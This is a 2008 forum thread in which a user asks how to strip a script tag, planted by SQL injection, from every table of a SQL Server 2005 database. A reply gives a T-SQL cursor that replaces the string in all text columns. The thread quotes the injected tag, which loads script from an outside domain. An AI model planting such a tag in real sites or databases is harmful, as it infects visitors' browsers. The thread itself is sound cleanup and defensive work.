SQL Query
Is it possible to write a query that goes through the entire database to search out a particular phrase to delete it, instead of going table by table? This is on a SQL 2005 Database that was injected. The following appears throughout the database tables:
<script src=http://www.jic2.ru/script.js></script>
This appears all over in different tables exactly as above. So my database is currently limping. Can anyone help me?
Thanks
Bosco
Software/Hardware used:
Software/Hardware used:
ASKED:
September 10, 2008 8:53 PM
UPDATED:
September 28, 2008 9:14 PM
Answer Wiki:
This SQL Code should do the trick for you.
<pre>
DECLARE @sql NVARCHAR(4000)
DECLARE cur CURSOR FOR
select 'update [' + schema_name(sys.tables.schema_id) + '].[' + object_name(sys.tables.object_id) + ']
set [' + sys.columns.name + '] = replace([' + sys.columns.name + '], ''<script src=http://www.jic2.ru/script.js></script>'', '''')'
from sys.columns
join sys.tables on sys.columns.object_id = sys.tables.object_id
and sys.tables.is_ms_shipped = 0
where system_type_id in (35, 98, 99, 167, 175, 231, 239, 241, 231)
OPEN cur
FETCH NEXT FROM cur INTO @sql
WHILE @@FETCH_STATUS = 0
BEGIN
exec (@sql)
FETCH NEXT FROM cur INTO @sql
END
CLOSE cur
DEALLOCATE cur
</pre>
It does through all columns which are text columns and update them.
You may also find the article <a href="http://searchsqlserver.techtarget.com/tip/0,289483,sid87_gci1318837,00.html">Secure SQL Server from SQL injection attacks</a> handy.
To see all answers submitted to the Answer Wiki: View Answer History.
Check out my SQL Server blog “SQL Server with Mr Denny” for more SQL Server information.
this code did not work
What error message did it give you?
The error that I got was on the system tables. I’ve tweaked the code and updated it above to remove these errors.
I forgot to mention, this will throw an error for any columns which are of the TEXT or NTEXT datatypes. If you are using these data types let me know, and I’ll throw some code together to deal with these. Those data types are much more complex to handle.